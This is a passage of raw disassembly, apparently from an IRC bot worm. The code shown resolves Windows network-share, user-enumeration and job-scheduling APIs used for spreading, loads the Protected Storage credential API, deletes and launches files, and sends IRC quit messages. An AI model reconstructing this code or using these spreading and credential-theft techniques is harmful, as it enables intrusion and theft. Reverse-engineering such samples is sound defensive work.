		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_44C]
		push	eax
		lea	eax, [ebp+var_4CC]
		push	eax
		call	sub_40222D
		add	esp, 24h
		mov	dword ptr [ebp+var_14+4], eax


loc_402650:				; CODE XREF: sub_402230+3D9j
		cmp	[ebp+arg_0], 3
		jnz	short loc_40268D
		push	[ebp+var_3CC]
		xor	eax, eax
		cmp	[ebp+var_38], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6D0]
		push	eax
		call	sub_40222D
		add	esp, 1Ch
		mov	dword ptr [ebp+var_14+4], eax


loc_40268D:				; CODE XREF: sub_402230+424j
		cmp	dword ptr [ebp+var_14+4], 1
		jnz	loc_40276A


loc_402697:				; CODE XREF: sub_402230+D4j
		cmp	[ebp+var_26], bl
		jz	short loc_4026A3
		mov	eax, offset dword_4124EC
		jmp	short loc_4026B2
; ---------------------------------------------------------------------------


loc_4026A3:				; CODE XREF: sub_402230+46Aj
		cmp	[ebp+var_36], bl
		mov	eax, offset dword_4124E0
		jnz	short loc_4026B2
		mov	eax, offset byte_417B60


loc_4026B2:				; CODE XREF: sub_402230+471j
					; sub_402230+47Bj
		push	eax
		mov	eax, [ebp+var_C]
		shr	eax, 0Ah
		mov	dword ptr [ebp+var_14],	eax
		mov	dword ptr [ebp+var_14+4], ebx
		fild	[ebp+var_14]
		fstp	[ebp+arg_0]
		call	sub_41084A	; clock
		sub	eax, dword ptr [ebp+var_1C+4]
		mov	dword ptr [ebp+var_1C+4], ebx
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_1C],	eax
		lea	eax, [ebp+var_2C4]
		fild	[ebp+var_1C]
		fmul	ds:flt_411280
		fdivr	[ebp+arg_0]
		fstp	[esp+7ECh+var_7EC]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1C0]
		push	offset dword_412498
		push	eax
		call	sub_408D50
		add	esp, 1Ch
		cmp	[ebp+var_37], bl
		jz	short loc_40271B
		lea	eax, [ebp+var_2C4]
		push	eax
		call	ds:dword_4110B8	; DeleteFileA
		jmp	short loc_40278D
; ---------------------------------------------------------------------------


loc_40271B:				; CODE XREF: sub_402230+4DAj
		cmp	[ebp+var_36], bl
		jnz	short loc_402725
		cmp	[ebp+var_26], bl
		jz	short loc_40278D


loc_402725:				; CODE XREF: sub_402230+4EEj
		xor	eax, eax
		cmp	[ebp+var_33], bl
		setz	al
		push	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_4111E4
		cmp	eax, 20h
		jbe	short loc_402754
		cmp	[ebp+var_26], bl
		jz	short loc_40278D
		call	sub_404BC3
		jmp	short loc_40278D
; ---------------------------------------------------------------------------


loc_402754:				; CODE XREF: sub_402230+516j
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset dword_412470
		jmp	short loc_40277E
; ---------------------------------------------------------------------------


loc_40276A:				; CODE XREF: sub_402230+461j
		lea	eax, [ebp+var_7D4]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset dword_412440


loc_40277E:				; CODE XREF: sub_402230+F9j
					; sub_402230+112j ...
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_408D50
		add	esp, 10h


loc_40278D:				; CODE XREF: sub_402230+4E9j
					; sub_402230+4F3j ...
		push	[ebp+var_3CC]
		call	sub_406753
		pop	ecx
		jmp	short loc_4027C2
; ---------------------------------------------------------------------------


loc_40279B:				; CODE XREF: sub_402230+272j
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset unk_412414


loc_4027A8:				; CODE XREF: sub_402230+352j
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_408D50
		push	[ebp+var_3CC]
		call	sub_406753
		add	esp, 10h


loc_4027C2:				; CODE XREF: sub_402230+569j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_402230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027CB	proc near		; CODE XREF: sub_40735A+37Ep

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		push	esi
		jz	loc_402879
		push	3AFh
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_402879
		push	8
		push	7Ah
		push	61h
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		call	sub_40AB82
		and	[ebp+eax+var_10], 0
		lea	eax, [ebp+var_10]
		push	offset dword_412620
		push	eax
		call	sub_410856	; _mbscat
		add	esp, 1Ch
		cmp	[ebp+arg_8], 0
		jnz	short loc_402824
		lea	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax


loc_402824:				; CODE XREF: sub_4027CB+51j
		push	ebx
		push	edi
		mov	edi, 104h
		lea	ebx, [esi+4]
		push	edi
		push	[ebp+arg_4]
		push	ebx
		call	sub_4052A6
		push	edi
		lea	eax, [esi+108h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4052A6
		push	[ebp+arg_0]
		lea	eax, [esi+20Ch]
		push	eax
		call	sub_403E60
		add	esp, 20h
		lea	eax, [esi+108h]
		push	eax
		push	ebx
		push	offset dword_4125FC
		push	0
		push	esi
		push	offset sub_402230
		call	sub_40663C
		add	esp, 18h
		pop	edi
		pop	ebx


loc_402879:				; CODE XREF: sub_4027CB+Bj
					; sub_4027CB+20j
		pop	esi
		leave
		retn
sub_4027CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40287C	proc near		; CODE XREF: sub_4064A0+7Ep
					; sub_406596+83p ...

var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		push	1
		push	offset dword_417B6C
		call	sub_406AFA
		mov	esi, [ebp+arg_0]
		xor	edi, edi
		cmp	dword_417B68, edi
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jz	loc_402994
		mov	edx, [esi]
		mov	eax, 0C0000025h
		mov	edi, offset aException_othe ; "EXCEPTION_OTHER"
		mov	ecx, [edx]
		cmp	ecx, eax
		ja	short loc_4028F1
		jz	short loc_4028EA
		cmp	ecx, 80000003h
		jz	short loc_4028E3
		cmp	ecx, 0C0000005h
		jz	short loc_4028DC
		cmp	ecx, 0C000001Dh
		jnz	short loc_402924
		mov	edi, offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
		jmp	short loc_402924
; ---------------------------------------------------------------------------


loc_4028DC:				; CODE XREF: sub_40287C+4Fj
		mov	edi, offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
		jmp	short loc_402924
; ---------------------------------------------------------------------------


loc_4028E3:				; CODE XREF: sub_40287C+47j
		mov	edi, offset aException_brea ; "EXCEPTION_BREAKPOINT"
		jmp	short loc_402924
; ---------------------------------------------------------------------------


loc_4028EA:				; CODE XREF: sub_40287C+3Fj
		mov	edi, offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_402924
; ---------------------------------------------------------------------------


loc_4028F1:				; CODE XREF: sub_40287C+3Dj
		cmp	ecx, 0C000008Dh
		jb	short loc_402924
		cmp	ecx, 0C0000093h
		jbe	short loc_40291F
		cmp	ecx, 0C0000094h
		jz	short loc_402918
		cmp	ecx, 0C00000FDh
		jnz	short loc_402924
		mov	edi, offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_402924
; ---------------------------------------------------------------------------


loc_402918:				; CODE XREF: sub_40287C+8Bj
		mov	edi, offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
		jmp	short loc_402924
; ---------------------------------------------------------------------------


loc_40291F:				; CODE XREF: sub_40287C+83j
		mov	edi, offset aException_flt ; "EXCEPTION_FLT"


loc_402924:				; CODE XREF: sub_40287C+57j
					; sub_40287C+5Ej ...
		cmp	dword ptr [edx+4], 1
		mov	edx, offset aRestarting	; "Restarting"
		jz	short loc_402934
		mov	edx, offset aContinuing	; "Continuing"


loc_402934:				; CODE XREF: sub_40287C+B1j
		mov	eax, [esi+4]
		push	edx
		push	edi
		push	ecx
		push	dword ptr [eax+0C0h]
		push	dword ptr [eax+0B8h]
		push	dword ptr [eax+0C4h]
		push	dword ptr [eax+0B4h]
		push	dword ptr [eax+9Ch]
		push	dword ptr [eax+0A0h]
		push	dword ptr [eax+0A8h]
		push	dword ptr [eax+0ACh]
		push	dword ptr [eax+0A4h]
		push	dword ptr [eax+0B0h]
		lea	eax, [ebx+1]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41264C
		push	offset dword_4177EC
		call	sub_408CDE
		add	esp, 48h
		xor	edi, edi


loc_402994:				; CODE XREF: sub_40287C+27j
		inc	ebx
		cmp	ebx, 64h
		jz	short loc_4029C0
		mov	eax, [esi]
		cmp	dword ptr [eax+4], 1
		jz	short loc_4029C0
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_4029BB
		mov	esi, [esi+4]
		inc	dword ptr [esi+0B8h]
		or	eax, 0FFFFFFFFh


loc_4029B6:				; CODE XREF: sub_40287C+142j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4029BB:				; CODE XREF: sub_40287C+12Cj
		push	1
		pop	eax
		jmp	short loc_4029B6
; ---------------------------------------------------------------------------


loc_4029C0:				; CODE XREF: sub_40287C+11Cj
					; sub_40287C+124j
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	edi
		call	ds:dword_411094	; GetModuleHandleA
		push	eax
		call	ds:dword_411098	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_402A00
		push	edi
		push	edi
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	offset aOpen	; "open"
		push	edi
		call	ds:dword_4111E4
		cmp	eax, 20h
		ja	short loc_402A00
		push	offset aQuitExitting ; "QUIT :exitting"
		jmp	short loc_402A05
; ---------------------------------------------------------------------------


loc_402A00:				; CODE XREF: sub_40287C+160j
					; sub_40287C+17Bj
		push	offset aQuitRestarting ; "QUIT :restarting"


loc_402A05:				; CODE XREF: sub_40287C+182j
		call	sub_408E60
		pop	ecx
		push	edi
		call	ds:dword_411064	; ExitProcess
sub_40287C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A12	proc near		; DATA XREF: sub_402D7B:loc_402EACo

var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_402A57
		mov	eax, [edi+4]
		cmp	eax, ebx
		jz	short loc_402A37
		cmp	eax, 2
		jz	short loc_402A37
		mov	esi, 273Fh
		jmp	short loc_402A49
; ---------------------------------------------------------------------------


loc_402A37:				; CODE XREF: sub_402A12+17j
					; sub_402A12+1Cj
		mov	eax, [edi+8]
		cmp	eax, 1
		jz	short loc_402A57
		cmp	eax, 2
		jz	short loc_402A57
		mov	esi, 273Ch


loc_402A49:				; CODE XREF: sub_402A12+23j
		push	esi
		call	ds:dword_411244	; WSASetLastError
		mov	eax, esi
		jmp	loc_402C0A
; ---------------------------------------------------------------------------


loc_402A57:				; CODE XREF: sub_402A12+10j
					; sub_402A12+2Bj ...
		cmp	[ebp+arg_0], ebx
		jnz	loc_402AF7
		push	30h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	loc_402B3E
		push	30h
		push	ebx
		push	esi
		call	sub_410850	; memset
		push	10h
		lea	eax, [ebp+var_18]
		pop	ebx
		push	ebx
		push	0
		push	eax
		call	sub_410850	; memset
		add	esp, 18h
		cmp	[ebp+arg_4], 0
		mov	[ebp+var_18], 2
		jz	short loc_402AAD
		push	[ebp+arg_4]
		call	sub_41088C	; atoi
		pop	ecx
		push	eax
		call	ds:dword_411248	; htons
		mov	[ebp+var_16], ax


loc_402AAD:				; CODE XREF: sub_402A12+85j
		test	edi, edi
		mov	dword ptr [esi+4], 2
		jz	short loc_402ABD
		mov	eax, [edi+8]
		jmp	short loc_402AC0
; ---------------------------------------------------------------------------


loc_402ABD:				; CODE XREF: sub_402A12+A4j
		push	1
		pop	eax


loc_402AC0:				; CODE XREF: sub_402A12+A9j
		test	edi, edi
		mov	[esi+8], eax
		jz	short loc_402ACC
		mov	eax, [edi+0Ch]
		jmp	short loc_402ACF
; ---------------------------------------------------------------------------


loc_402ACC:				; CODE XREF: sub_402A12+B3j
		push	6
		pop	eax


loc_402ACF:				; CODE XREF: sub_402A12+B8j
		mov	[esi+0Ch], eax
		lea	ecx, [ebp+var_18]
		lea	eax, [esi+20h]
		push	ebx
		push	ecx
		mov	[esi+10h], ebx
		mov	[esi+18h], eax
		and	[ebp+var_14], 0
		push	eax
		call	sub_410838	; memcpy
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		mov	[eax], esi
		jmp	loc_402C08
; ---------------------------------------------------------------------------


loc_402AF7:				; CODE XREF: sub_402A12+48j
		push	[ebp+arg_0]
		call	ds:dword_41124C	; gethostbyname
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402B20
		mov	eax, [eax+0Ch]
		xor	edi, edi
		mov	[ebp+arg_0], edi


loc_402B0F:				; CODE XREF: sub_402A12+105j
		cmp	[eax], ebx
		jz	short loc_402B19
		inc	edi
		add	eax, 4
		jmp	short loc_402B0F
; ---------------------------------------------------------------------------


loc_402B19:				; CODE XREF: sub_402A12+FFj
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jnz	short loc_402B2A


loc_402B20:				; CODE XREF: sub_402A12+F3j
		mov	eax, 2AFBh
		jmp	loc_402C0A
; ---------------------------------------------------------------------------


loc_402B2A:				; CODE XREF: sub_402A12+10Cj
		lea	esi, [edi+edi*2]
		shl	esi, 4
		push	esi
		call	sub_41082C	; malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_402B4E


loc_402B3E:				; CODE XREF: sub_402A12+5Aj
		push	8
		call	ds:dword_411244	; WSASetLastError
		push	8
		pop	eax
		jmp	loc_402C0A
; ---------------------------------------------------------------------------


loc_402B4E:				; CODE XREF: sub_402A12+12Aj
		push	esi
		push	ebx
		push	eax
		call	sub_410850	; memset
		push	10h
		lea	eax, [ebp+var_28]
		push	ebx
		push	eax
		call	sub_410850	; memset
		add	esp, 18h
		cmp	[ebp+arg_4], ebx
		mov	[ebp+var_28], 2
		jz	short loc_402B84
		push	[ebp+arg_4]
		call	sub_41088C	; atoi
		pop	ecx
		push	eax
		call	ds:dword_411248	; htons
		mov	[ebp+var_26], ax


loc_402B84:				; CODE XREF: sub_402A12+15Cj
		test	edi, edi
		jbe	short loc_402C00
		mov	eax, [ebp+var_4]
		lea	esi, [eax+8]


loc_402B8E:				; CODE XREF: sub_402A12+1ECj
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_402B99
		mov	eax, [eax]
		jmp	short loc_402B9C
; ---------------------------------------------------------------------------


loc_402B99:				; CODE XREF: sub_402A12+181j
		push	4
		pop	eax


loc_402B9C:				; CODE XREF: sub_402A12+185j
		mov	ecx, [ebp+arg_8]
		lea	edi, [esi-8]
		test	ecx, ecx
		mov	[edi], eax
		mov	dword ptr [esi-4], 2
		jz	short loc_402BB4
		mov	eax, [ecx+8]
		jmp	short loc_402BB7
; ---------------------------------------------------------------------------


loc_402BB4:				; CODE XREF: sub_402A12+19Bj
		push	1
		pop	eax


loc_402BB7:				; CODE XREF: sub_402A12+1A0j
		test	ecx, ecx
		mov	[esi], eax
		jz	short loc_402BC2
		mov	eax, [ecx+0Ch]
		jmp	short loc_402BC5
; ---------------------------------------------------------------------------


loc_402BC2:				; CODE XREF: sub_402A12+1A9j
		push	6
		pop	eax


loc_402BC5:				; CODE XREF: sub_402A12+1AEj
		mov	edx, [ebp+var_8]
		push	10h
		mov	[esi+4], eax
		pop	ecx
		lea	eax, [esi+18h]
		mov	[esi+8], ecx
		mov	[esi+10h], eax
		mov	edx, [edx+0Ch]
		push	ecx
		lea	ecx, [ebp+var_28]
		mov	edx, [edx+ebx*4]
		push	ecx
		push	eax
		mov	edx, [edx]
		mov	[ebp+var_24], edx
		call	sub_410838	; memcpy
		add	esp, 0Ch
		test	ebx, ebx
		jz	short loc_402BF7
		mov	[esi-1Ch], edi


loc_402BF7:				; CODE XREF: sub_402A12+1E0j
		inc	ebx
		add	esi, 30h
		cmp	ebx, [ebp+arg_0]
		jb	short loc_402B8E


loc_402C00:				; CODE XREF: sub_402A12+174j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx


loc_402C08:				; CODE XREF: sub_402A12+E0j
		xor	eax, eax


loc_402C0A:				; CODE XREF: sub_402A12+40j
					; sub_402A12+113j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_402A12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C11	proc near		; DATA XREF: sub_402D7B+13Bo

var_424		= byte ptr -424h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		jnz	short loc_402C29
		cmp	[ebp+arg_10], edi
		jz	short loc_402C34


loc_402C29:				; CODE XREF: sub_402C11+11j
		mov	ebx, [ebp+arg_18]
		test	ebx, 0FFFFFFE0h
		jz	short loc_402C3E


loc_402C34:				; CODE XREF: sub_402C11+16j
		mov	esi, 2726h
		jmp	loc_402D2E
; ---------------------------------------------------------------------------


loc_402C3E:				; CODE XREF: sub_402C11+21j
		mov	esi, [ebp+arg_0]
		cmp	word ptr [esi],	2
		jz	short loc_402C51
		mov	esi, 273Fh
		jmp	loc_402D2E
; ---------------------------------------------------------------------------


loc_402C51:				; CODE XREF: sub_402C11+34j
		cmp	[ebp+arg_8], edi
		jz	loc_402CF4
		push	dword ptr [esi+4]
		add	esi, 4
		call	ds:dword_411230	; inet_ntoa
		cmp	eax, edi
		jnz	short loc_402C72
		or	eax, 0FFFFFFFFh
		jmp	loc_402D60
; ---------------------------------------------------------------------------


loc_402C72:				; CODE XREF: sub_402C11+57j
		mov	edi, 401h
		push	edi
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_4052A6
		add	esp, 0Ch
		test	bl, 2
		jnz	short loc_402CE1
		test	bl, 4
		jz	short loc_402CC5


loc_402C92:				; CODE XREF: sub_402C11+C0j
					; sub_402C11+C6j
		push	0
		push	4
		push	esi
		call	ds:dword_411234	; gethostbyaddr
		mov	esi, eax
		test	esi, esi
		jz	short loc_402CD9
		push	dword ptr [esi]
		call	sub_410826	; strlen
		inc	eax
		pop	ecx
		cmp	eax, [ebp+arg_C]
		ja	short loc_402D29
		push	edi
		lea	eax, [ebp+var_424]
		push	dword ptr [esi]
		push	eax
		call	sub_4052A6
		add	esp, 0Ch
		jmp	short loc_402CF4
; ---------------------------------------------------------------------------


loc_402CC5:				; CODE XREF: sub_402C11+7Fj
		test	bl, 1
		jz	short loc_402CE1
		mov	eax, [esi]
		cmp	eax, 7F000001h
		jz	short loc_402C92
		test	eax, eax
		jnz	short loc_402CE1
		jmp	short loc_402C92
; ---------------------------------------------------------------------------


loc_402CD9:				; CODE XREF: sub_402C11+90j
		call	ds:dword_411238	; WSAGetLastError
		jmp	short loc_402D60
; ---------------------------------------------------------------------------


loc_402CE1:				; CODE XREF: sub_402C11+7Aj
					; sub_402C11+B7j ...
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_410826	; strlen
		inc	eax
		pop	ecx
		cmp	eax, [ebp+arg_C]
		ja	short loc_402D29


loc_402CF4:				; CODE XREF: sub_402C11+43j
					; sub_402C11+B2j
		cmp	[ebp+arg_10], 0
		jz	short loc_402D47
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax+2]
		push	eax
		call	ds:dword_411248	; htons
		movzx	eax, ax
		push	eax
		call	sub_410C9A	; _itoa
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_410826	; strlen
		add	esp, 10h
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_402D39


loc_402D29:				; CODE XREF: sub_402C11+9Ej
					; sub_402C11+E1j
		mov	esi, 2747h


loc_402D2E:				; CODE XREF: sub_402C11+28j
					; sub_402C11+3Bj
		push	esi
		call	ds:dword_411244	; WSASetLastError
		mov	eax, esi
		jmp	short loc_402D60
; ---------------------------------------------------------------------------


loc_402D39:				; CODE XREF: sub_402C11+116j
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_10]
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_402D47:				; CODE XREF: sub_402C11+E7j
		cmp	[ebp+arg_8], 0
		jz	short loc_402D5E
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+arg_8]
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_402D5E:				; CODE XREF: sub_402C11+13Aj
		xor	eax, eax


loc_402D60:				; CODE XREF: sub_402C11+5Cj
					; sub_402C11+CEj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	1Ch
sub_402C11	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D67	proc near		; DATA XREF: sub_402D7B+145o

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		jz	short locret_402D78
		push	[esp+arg_0]
		call	sub_410832	; free
		pop	ecx

locret_402D78:				; CODE XREF: sub_402D67+5j
		retn	4
sub_402D67	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D7B	proc near		; CODE XREF: seg000:00410607p
		push	esi
		push	edi
		mov	edi, ds:dword_41105C
		push	offset aKernel32_dll ; "kernel32.dll"
		call	edi	; LoadLibraryA
		mov	esi, ds:dword_411060
		test	eax, eax
		jz	short loc_402DA1
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax
		call	esi	; GetProcAddress
		mov	dword_417B70, eax


loc_402DA1:				; CODE XREF: sub_402D7B+17j
		push	ebx
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	edi	; LoadLibraryA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402E24
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	ebx
		call	esi	; GetProcAddress
		push	offset aNetuseadd ; "NetUseAdd"
		push	ebx
		mov	dword_417B78, eax
		call	esi	; GetProcAddress
		push	offset aNetusedel ; "NetUseDel"
		push	ebx
		mov	dword_417B7C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	ebx
		mov	dword_417B80, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	ebx
		mov	dword_417B84, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	ebx
		mov	dword_417B88, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	ebx
		mov	dword_417B8C, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	ebx
		mov	dword_417B90, eax
		call	esi	; GetProcAddress
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	ebx
		mov	dword_417B94, eax
		call	esi	; GetProcAddress
		mov	dword_417B98, eax


loc_402E24:				; CODE XREF: sub_402D7B+32j
		push	offset aMpr_dll	; "mpr.dll"
		call	edi	; LoadLibraryA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402E65
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	ebx
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	ebx
		mov	dword_417B9C, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	ebx
		mov	dword_417BA0, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	ebx
		mov	dword_417BA4, eax
		call	esi	; GetProcAddress
		mov	dword_417BA8, eax


loc_402E65:				; CODE XREF: sub_402D7B+B4j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	edi	; LoadLibraryA
		mov	ebx, eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	ebx
		call	esi	; GetProcAddress
		push	offset aGetnameinfo ; "getnameinfo"
		push	ebx
		mov	dword_417BB4, eax
		call	esi	; GetProcAddress
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	ebx
		mov	dword_417BB8, eax
		call	esi	; GetProcAddress
		cmp	dword_417BB4, 0
		mov	dword_417BBC, eax
		pop	ebx
		jz	short loc_402EAC
		cmp	dword_417BB8, 0
		jz	short loc_402EAC
		test	eax, eax
		jnz	short loc_402ECA


loc_402EAC:				; CODE XREF: sub_402D7B+122j
					; sub_402D7B+12Bj
		mov	dword_417BB4, offset sub_402A12
		mov	dword_417BB8, offset sub_402C11
		mov	dword_417BBC, offset sub_402D67


loc_402ECA:				; CODE XREF: sub_402D7B+12Fj
		push	offset aPstorec_dll ; "pstorec.dll"
		call	edi	; LoadLibraryA
		test	eax, eax
		jz	short loc_402EE2
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	eax
		call	esi	; GetProcAddress
		mov	dword_417BB0, eax


loc_402EE2:				; CODE XREF: sub_402D7B+158j
		push	offset aWininet_dll ; "wininet.dll"
		call	edi	; LoadLibraryA
		test	eax, eax
		jz	short loc_402EFA
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	eax
		call	esi	; GetProcAddress
		mov	dword_417BAC, eax


loc_402EFA:				; CODE XREF: sub_402D7B+170j
		pop	edi
		pop	esi
		retn
sub_402D7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EFD	proc near		; DATA XREF: sub_4030A7+65o

var_121C	= byte ptr -121Ch
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_212		= byte ptr -212h
var_6C		= byte ptr -6Ch
var_48		= byte ptr -48h
var_24		= byte ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 121Ch
		call	sub_4108B0
		push	ebx
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		lea	eax, [ebp+var_218]
		push	1
		push	eax
		call	sub_4035FB
		mov	ebx, eax
		add	esp, 18h
		test	ebx, ebx
		jnz	short loc_402F51
		push	[ebp+var_21C]
		call	sub_406753
		pop	ecx
		xor	eax, eax
		jmp	loc_4030A2
; ---------------------------------------------------------------------------


loc_402F51:				; CODE XREF: sub_402EFD+3Fj
		push	esi
		lea	eax, [ebp+var_218]
		push	edi
		push	eax
		mov	eax, [ebp+var_21C]
		push	dword ptr [eax]
		lea	eax, [ebp+var_212]
		push	offset dword_4129C0
		push	eax
		call	sub_408D50
		mov	esi, 3E8h
		push	esi
		push	ebx
		call	sub_40371E
		add	esp, 18h


loc_402F82:				; CODE XREF: sub_402EFD+189j
		mov	edi, eax
		mov	eax, [ebp+var_21C]
		cmp	dword ptr [eax+4], 0
		jnz	loc_40308B
		test	edi, edi
		jz	loc_40308B
		cmp	edi, 0FFFFFFFFh
		jz	loc_40307D
		lea	eax, [ebp+var_121C]
		push	1000h
		push	eax
		push	edi
		call	sub_403D69
		add	esp, 0Ch
		test	eax, eax
		jz	loc_403076
		cmp	eax, 0FFFFFFFFh
		jz	loc_403076
		lea	eax, [ebp+var_121C]
		push	eax
		call	sub_410826	; strlen
		cmp	eax, 10h
		pop	ecx
		ja	loc_403076
		cmp	byte_418BF8, 0
		jz	short loc_402FFC
		lea	eax, [ebp+var_24]
		push	offset byte_418BF8
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40301E
; ---------------------------------------------------------------------------


loc_402FFC:				; CODE XREF: sub_402EFD+EBj
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_404354
		lea	eax, [ebp+var_24]
		push	eax
		push	offset byte_418BF8
		call	sub_410820	; _mbscpy
		add	esp, 14h


loc_40301E:				; CODE XREF: sub_402EFD+FDj
		lea	eax, [ebp+var_121C]
		push	offset aUseridUnix ; " : USERID	: UNIX : "
		push	eax
